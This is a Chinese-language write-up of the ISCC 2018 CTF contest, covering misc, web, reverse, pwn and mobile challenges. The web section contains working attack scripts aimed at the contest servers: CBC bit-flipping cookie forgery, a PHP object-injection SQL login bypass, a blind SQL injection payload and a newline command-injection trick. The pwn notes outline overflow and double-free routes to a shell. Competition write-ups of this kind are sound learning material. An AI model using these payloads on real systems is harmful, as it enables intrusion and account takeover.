ISCC 2018 线上个人赛 writeup

前言

只是个业余选手,3号的时候吱乎上收到了吐槽赛制的推送, 挺好奇的就过来试一试。看了一下 web 和 misc 居多,比较适合我这种菜鸡。虽然持续一个月的赛制还有与众不同的神奇的动态积分让我不太能接受,还是抽几个周末时间做了一下。可能是因为持续时间比较长吧,比赛还没结束网上就有人放出了各种 writeup, 官方群里也偶尔有人在讨论思路,让人感觉很谜。

一个人做水平有限,不过有些题可以看出是往年其他比赛的题目改编的,做的时候有所参考,也学到了一些新知识。

Misc

What is that? 50

下载图片,打开发现是一个手指指向下面,可能提示 flag 在下面,修改图像长度,果然得到 flag

不过这种类型题目的图片在 linux 上打开会直接报错,windows上则正常显示上半部分。

秘密电报 50

看提示,猜想是培根密码,随便找个在线解密解。

重重谍影 100

拿到一段 base64, 解完还是 base64, 中间把 %3D 之类的改成等号, 一直到最后在解密就是二进制了。把最后一段base64 给 binwalk 一下发现可能是一段 AES, 找个解密器。解出来感觉跟佛教有关,在加上题目提示,找到一个 与佛论禅,解。

Where is the FLAG? 100

分析图片发现里面有 Adobe Fireworks 字样,下载软件,打开之后发现有很多图层,有八块拼图,最后拼出来一个二维码。

凯撒十三世 150

根据提示是 rot13, 扔进去解密。提示键盘,脑洞一下取键盘上下面一行的字母,正好得到一句话。很不喜欢这种题目。

一只猫的心思 150

下载。stegsolver各种试发现只是普通图片。分析二进制,找到了一个类似 uuid 的东西,之前有个 flag 也是 uuid, 各种提交发现不对,百度一下发现这一串总是出现在 wps 的 word 文档里。猜想图片后面接了一个wps 格式的 word 文档。提取,又是与佛论禅。然后根据特征不断 base64, base32。

还有就是这个狗叫 annoying dog! 不是猫! 别问我是怎么发现的

暴力XX不可取 150

根据提示不是暴力破解,猜是伪加密的套路,果然, 取出来之后好像还要凯撒一下, 总之还是常见套路。

有趣的ISCC 100

十六进制打开,发现图片的尾部有一堆形如 &#xx; 的 HTML 转义码

处理一下取出来解码,又是形如 \u00xx 的 unicode 编码, 解码即可。

数字密文 50

两两一组 hex 2 ascii, 又是脑洞题,神烦

嵌套ZIPs 300

太菜了不会。没啥提示,看上去不是伪加密,貌似也不能明文攻击,试了各种暴力+字典也都没解出来第一层的密码。遂放弃。

倒数第二天的时候找到了其他人的 writeup, 确实是爆破,不过是手机号码,之前没想到会这么长,只爆破了8位以下的。爆破完之后就是正常套路,明文攻击,伪加密啥的。第一层爆破以前要能给点提示就好做了。这题因为是看到了比赛期间其他人放出来的 writeup, 感觉应该是违反比赛规则的,我最后就没再交这个题的 flag。

挖宝计划 500

可以看到压缩包里也有一个 GetFlag.py, 利用已知明文攻击可以求出压缩包的密码,然后解压。

解压出来 6000 + 1 篇文章。一开始是直接用正则找 [a-fA-F0-9]{32}, 发现找到十几个太多了,肯定思路不对。简单的搜索了一下发现竟然去年有一样的题目,然而并没发现有人发过 writeup。最后是找到了一个主办方学校的新闻稿说要 “以文找文” 给了我提示。其实还有一个提示就是主办方实验室的研究方向有文本处理相关的。

根据题目我觉得应该是从 6000 个文章中找出 5 个与那一篇最接近的。我的处理是先去掉非中文词,因为题目的文章中间加了很多无意义符号。然后分词,去停用词,排序(因为很多文章都已经被打乱了,保留原顺序也什么意义)。分别尝试了 doc2vectfidf 算相似度。前者不太适用于这个场景,后者方法虽然简单但是正好找到了 5 篇相似度较高 (都在 0.75 以上),剩下的相似度都低于 0.5 了,于是我确定应该是这个思路。根据脚本内容的提示,我分别取了文件的 md5 后续处理。

预处理:

import jieba


def a_sub_b(a, b):
    ret = []
    for el in a:
        if el not in b:
            ret.append(el)
    return ret


stop_words = [line.strip() for line in open('./stop_words.txt', 'r').readlines()]


def is_chinese(uchar):
    """判断一个unicode是否是汉字"""
    if uchar >= u'\u4e00' and uchar <= u'\u9fa5':
        return True
    return False


def preprocess(origin_file, out_file):
    f = open(origin_file, 'r', encoding='utf-8')
    fout = open(out_file, 'w', encoding='utf-8')
    data = f.read()
    chinese_only = ''.join([u for u in data if is_chinese(u)])
    words = jieba.cut(chinese_only)
    words = a_sub_b(words, stop_words)
    words = sorted(words)
    out_data = ' '.join(words)
    fout.write(out_data)
    f.close()
    fout.close()


for i in range(0, 6000):
    print('%d.data' % i)
    origin_file = './datas/%d.data' % i
    out_file = './cn-datas/%d.cn' % i
    preprocess(origin_file, out_file)


preprocess('./sample.data', './sample.cn')

算相似度:

"""tf-idf 求最相似的文章"""
import os
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity


print('read')
# 读取文件
raw_documents = []
walk = os.walk(os.path.realpath("./cn-datas"))
for root, dirs, files in walk:
    files.sort(key=lambda x: int(x.split('.')[0]))
    for name in files:
        f = open(os.path.join(root, name), 'r')
        raw = f.read()
        raw_documents.append(raw)
print(len(raw_documents))

sample = open('./sample.cn', 'r').read().split()
train_set = [sample]
train_set.extend([doc.split() for doc in raw_documents])
tfidf_vectorizer = TfidfVectorizer(analyzer=(lambda s: s), tokenizer=None)
tfidf_matrix_train = tfidf_vectorizer.fit_transform(train_set)
sim = cosine_similarity(tfidf_matrix_train[0], tfidf_matrix_train)[0]
sim = list(zip(range(0, 6000), sim))
sim.sort(key=lambda x: -x[1])
for i, score in sim[1:11]:
    print(i-1, score)

我一直觉得我思路是对的,结果换各种文件试还是不对。主要 flag 是一串 hex, 没什么特殊意义,只能不停地试错了。后来官方说降低难度改了 flag 之后我再交就通过了,只能说我运气比较好。我不知道我的想法和主办方是否一致,具体的官方思路和解法还是只能期待主办方。

当然,这肯定不是最好的解法,文本相似度的计算也有很多方法,其他的算法算出来是否有差别或者结果更好呢?不知道为什么去年解出来的人没有放出来思路的,估计解法会比我这个更好。

Web

比较数字大小 50

只在前端限制长度,curl 一下就好。

本地的诱惑 100

flag 在源码里,签到,目测是题出错了。

你能跨过去吗? 100

给了一个 url, callback 参数 base64 解码,虽然其实不是 base64, 强行解码也能看懂。

一切都是套路 100

试了一堆备份文件不对,根据这个比赛其他题目的习惯,果然 index.php.txt 看源码。要求必须是 POST,然后 GET 参数那里写错,让我们可以覆盖变量。因为不能覆盖 $flag, 可以利用 $_403 覆盖成 $flag, 随便 POST 一个 flag=xxx, 一定会输出 $_403,于是 flag 就输出来了。

你能绕过吗? 100

f=articles 那里可以利用 php://filter 文件内容包含,把源码给带出来了, 不过尝试时发现好像过滤了前面 php 三个字母,大写可破。flag就在源码中。

web02 100

要求验证客户端ip, 试一试 Request header 里面那几个跟 ip 有关的,改成 127.0.0.1 请求下就好。这个题用的是 Client-IP

请ping我的ip 看你能Ping通吗? 150

POST ip=127.0.0.1 返回了 ping 的运行结果。猜想是远程执行命令。 ip=127.0.0.1 %0a 再加命令 可解。

Please give me username and password! 150

GET 他要的参数,username 可以用数组绕过,password 可以利用 e 科学计数法

SQL注入的艺术 200

宽字节注入, 利用宽字节让引号闭合绕过过滤。猜字段个数 -> 8,搞数据库名 -> baji,爆表名 -> admins,最后爆字段名。然后就发现表里有一个 flag 字段。然后就能注出来 flag

试试看 200

从网上找到了类似的题,还是 php://filter 内容包含,进行了一定的过滤,绕过后可以把源码带出来。

web01 50

GET 一个 password, 与 flag 比,然而用的是 ==, 用数组绕过即可。

Collide 250

显然不能碰撞啊。实际上是哈希长度扩展攻击。知道 secret key 长度, 原字符串和 md5, 就可以利用这个构造出同一个key, 但是包含想要字符串的 md5

作为一个脚本小子,显然是有工具可以用的 -> hashpump, 随便百度一下就会用了。

Only admin can see flag 300

这个是 CBC 字符翻转攻击。

首先用一个与 admin 差一个字母的 username 登录,得到 iv, cipher.

然后算出来这个字母在序列化后的字符串的位置,异或翻转,构造新的 cipher

再提交这个 cipher 的时候,前面的 16个字符的密文会不合法,要根据得到的结果修改 iv

网上资料也有不少。

代码如下:

url = r'http://118.190.152.202:8001/index.php'
payload = {'username': 'bdmin', 'password': '1'}
r = requests.post(url, data=payload)  # login
Set_Cookie = r.headers['Set-Cookie']
iv = re.findall(r"iv=(.*?),", Set_Cookie)[0]
cipher = re.findall(r"cipher=(.*)", Set_Cookie)[0]
sessid = re.findall(r"PHPSESSID=(.*)", Set_Cookie)[0]
iv_raw = b64decode(urllib.parse.unquote(iv))
cipher_raw = b64decode(urllib.parse.unquote(cipher))

# 字节翻转
cipher_list = list(cipher_raw)
cipher_list[9] = cipher_list[9] ^ ord('b') ^ ord('a')
cipher_new = bytes(cipher_list)
cipher_new = urllib.parse.quote(b64encode(cipher_new))

cookie_new = {'iv': iv, 'cipher': cipher_new, 'PHPSESSID': sessid}
r = requests.post(url, cookies=cookie_new)

plain = re.findall(r"base64_decode\('(.*?)'\)", r.text)[0]
plain = b64decode(plain)
first = 'a:2:{s:8:"userna'
iv_new = []
for i in range(16):        # 重写init vector,保证前16字节的正确解码
    iv_new.append(ord(first[i]) ^ plain[i] ^ iv_raw[i])
iv_new = bytes(iv_new)
iv_new = urllib.parse.quote(b64encode(iv_new))
cookie_new = {'iv': iv_new, 'cipher': cipher_new, 'PHPSESSID': sessid}
r = requests.post(url, cookies=cookie_new)
text = r.text
print(text)

php是世界上最好的语言 150

又是老生常谈。首先是利用 md5 == 弱类型判断,给出一个 md5 之后开头 0e 的字符串

第二步是 var_dump($$a);, 传进去 GLOBALS, 可以 dump 出全局变量里的 flag

Only Admin 400

这题想了很久,因为一开始啥提示都没有。盲注了很久才发现访问 /web 可以下载源码。解压后看源码。

找找类似的题型,果然找到一篇 writeup, 是 0ctf 2017 final 的题目 uglyweb。然而直接用作者的代码却搞不出来,又想了很久。

最后发现弱智了,这题比那道题简化了不少,登录成功之后构造函数里已经往 session 写入了 admin 的身份,不需要再注入猜密码了,也注不出来。知道用 Message类绕过 escape() 之后直接 or 1=1 伪造登录,得到 cookie, 再用它随便请求一个页面就能在 header 里看到 flag 了。

代码:

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import requests
import base64


def attack():
    url = "http://118.190.152.202:8020/"
    payload = "[email protected]' or 1=1 #"
    plen = len(payload)
    session = requests.session()
    payload = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:'+str(plen)+':"'+payload+'";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}'
    cookies = {'ckSavePass': base64.b64encode(payload)}
    r = session.get(url + 'send.php', cookies=cookies)
    r = session.get(url + 'index.php')
    print r.headers['Set-Cookie'].split('flag=')[1].split(';')[0]


attack()

Sqli 250

提示很明显了,就是 SQL注入。这个比赛没有禁脚本,最简单的想法就是先直接无脑用 sqlmap 注登录,注出数据库名,发现有两个表 user news,先从 user 表入手,注出来了 admin 的 密码 md5, 找个反查网站,成功登录。提示 flag 在另一个表的没有出现的字段。于是注 news 的字段名,注出来一个挺长的脸滚键盘的表名。从这个字段就能搞到 flag

有种你来绕 300

又是一个登录框。简单注了一下发现常见的都被过滤了。

提示是 MySQL,可以用括号绕过空格的过滤,可利用 mid 依次枚举每一个字节。网站比较有毒,每出来几个就会卡住。最后半手动枚举出来一个 md5 串,找找反查网站,成功登录。看上去像是要输命令,然而输啥都不管用,最后没招了直接输入 flag 四个字母竟然成了。

payload: '!=(mid((passwd)from(-{index}))='{passwd}')='1

顺便一说其实网上也可以找到类似的题目…

为什么这么简单啊 100

这题确实挺简单。不过我用火狐的编辑重发请求总是不成功,最后试了下 burpsuite,同样的请求竟然就能成功。之前浪费了很多的时间。

首先就是要手动改 HTTP Header, 把 RefererX-Forwarded-For 改成需要的即可。

接下来得到一段简单混淆的 js 代码,找到一个 unpack 网站,出来就是一个字符串。跟前面一个题仿佛是同一种编码,我也不记得了,不过强行用 base64 解也能看懂。输密码拿 flag

Reverse

RSA256 100

Crypto: 王得法? 这不是我的题目?

先用 openssl 读出来公钥里的 n 和 e, n 比较小,直接 factordb 分解,得 p, q, phi, 然后得 d.

分别解出来三个密文,每个有一段 flag。

My math is bad 150

ida之,输入长度32的字符串,然后被分解成了 8 个 int, 要解两个方程组。sympy, 请开始你的表演。

解完第一个,异或做种子生成随机数,作为第二个的参数,可以解出来第二个参数。

最后得到8个数转成16进制后别忘了大端小端问题,输入正确的输入,得到 flag

from sympy import *

# x = Symbol('x')
# y = Symbol('y')
# m = Symbol('m')
# n = Symbol('n')

# f = [x * y - m * n - 2652042832920173142,
# 3 * m + 4 * n - y - 2 * x - 397958918,
# 3 * x * n - m * y - 3345692380376715070,
# 27 * y + x - 11 * n - m - 40179413815]

# a = [x, y, m, n]

# ans = solve(f, a)
# for aa in ans:
#     print(aa)

# 随机数我用c语言跑出来的
v1, v2, v7, v8, v9, v10, v11, v12 = (22, 39, 45, 45, 35, 41, 13, 36)

v3 = Symbol('v3')
v4 = Symbol('v4')
v5 = Symbol('v5')
v6 = Symbol('v6')

f = [
    v6 * v2 + v3 * v1 - v4 - v5 - 61799700179,
    v6 + v3 + v5 * v8 - v4 * v7 - 48753725643,
    v3 * v9 + v4 * v10 - v5 - v6 - 59322698861,
    v5 * v12 + v3 - v4 - v6 * v11 - 51664230587
]

a = [v3, v4, v5, v6]
ans = solve(f, a)
print(ans)

x, y, m, n = (1869639009, 1801073242, 829124174, 862734414)

v3 = 811816014
v4 = 828593230
v5 = 1867395930
v6 = 1195788129

ints = [x, y, m, n, v3, v4, v5, v6]

result = []
for i in ints:
    s = hex(i)[2:]
    array = []
    for i in range(0, 8, 2):
        array.append(s[i:i+2])
    array = array[::-1]
    for a in array:
        result.append(chr(int(a, 16)))

print(''.join(result))

obfuscation and encode 250

直接反编译发现代码经过了混淆,分支结构非常混乱。strings 一下看到了 Obfuscator-LLVM clang

百度一下 ollvm 的反混淆,发现经过了 控制流平坦化 处理。然后,找到了某大佬写的反混淆脚本,因为版本问题不能用,又找到了一个新版本,成功反混淆。

膜拜大佬的文章

主要流程是两个函数 fencode, encode, 理解之后一个是魔改版的 base64 (改变了字典的顺序), 另一个是把长度为 24 的输入与一个 4*4 的数组做了个矩阵乘法。

想解回flag, 首先写一个魔改的 b64_decode,得到矩阵乘法之后的结果,然后再乘个逆矩阵,结束。

代码:

const std::string base64_chars = "FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+";

std::string base64_decode(std::string const& encoded_string)
{
    int in_len = encoded_string.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    unsigned char char_array_4[4], char_array_3[3];
    std::string ret;

    while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
        char_array_4[i++] = encoded_string[in_];
        in_++;
        if (i == 4) {
            for (i = 0; i < 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (i = 0; (i < 3); i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j < 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

        for (j = 0; (j < i - 1); j++)
            ret += char_array_3[j];
    }

    return ret;
}

int main()
{
    std::string target = "lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq";
    std::cout << base64_decode(target) << endl;
    return 0;
}

输出重定向一下可以得到中间结果

解逆矩阵

import numpy as np
B = np.mat([[0x25, 0xc0, 0x3b, 0xa6], [0x1f, 0xaf, 0x4c, 0xa5],
            [0xcb, 0x8b, 0xa4, 0x9b], [0x3b, 0xe1, 0x28, 0x85],
            [0x26, 0x26, 0x16, 0xe7], [0x11, 0x09, 0x07, 0x26]])


x = np.mat([[2, 2, 4, -5],
            [1, 1, 3, -3],
            [-1, -2, -3, 4],
            [-1, 0, -2, 2]
            ])


A = B * (x.I.T)

print(A)
arr = list(np.array(A).flatten())

print(''.join([chr(int(a) & 0xff) for a in arr]))

需要注意的是解出来的原来数组需要与一下0xff, 因为原代码里面有一个强制转 char 的过程。

leftleftrightright 150

扔到 ida 一看发现加壳了,还是 upx,可以直接脱。脱掉之后 strings 看到了一个极像 flag 的字符串,但是经过了重新排列。没仔细看代码,根据字符串可以直接可以找到规律。从左到右开始依次间隔一个、两个取出来组成最后结果,到最右面再往回走。

Pwn

Login 200

ida之,可以找到 admin 的登录密码,还发现输数字那里 read 的字节有点多,可以溢出,而且代码里还有 system 函数。

思路就是先输一个命令,把 /bin/sh 存起来, 第二次输的时候覆盖返回地址,跳到 ExecCmd() 里面执行 system 那一句的地址,拿到shell

Write some paper 200

我 pwn 水平比较低,但是我会搜索呀。于是找到了类似的题目,这类题型是 fastbin double free, 利用之后可以跳到程序里给的用来拿 shell 的函数。

拿到 exp 改了改地址,就拿到 shell 了。有点惭愧,这就是我这个 pwn 菜鸡的日常。

Happy Hotel 300

同上,也是看到了类似的题目。大体思路是输入 name 的时候可以写入 shellcode 并泄漏栈地址,之后利用某个函数里面的 strcpy 来覆盖got表,执行shellcode。没怎么练过 pwn, 对 pwn 也没什么兴趣, 不过很多比赛中 pwn 的分数都是很多的, 我基本上玩这种比赛都只能是打打酱油,玩票性质。

Mobile

小试牛刀 300

apk 解包,dex2jar classes.dex, 反编译之后没啥有用的。反而在 asserts 里面有一个 bfsprotect.jar 是 dex 格式的。里面还有一个试图逐个字节异或的脚本和处理后的文件,不过原文件其实就在里面?是出题失误?

反编译之后里面写的很明白,输入被传进了一个函数,直接与明文写着的 flag 比较去了。wtf??? 感觉是出题失误。

总结

额这次主要还是运气成分比较多,跟大佬们比差距还是比较大的。

总之要学的东西还有很多,我也没有个特别精通的方向,之后更多把 CTF 当成个业余爱好吧。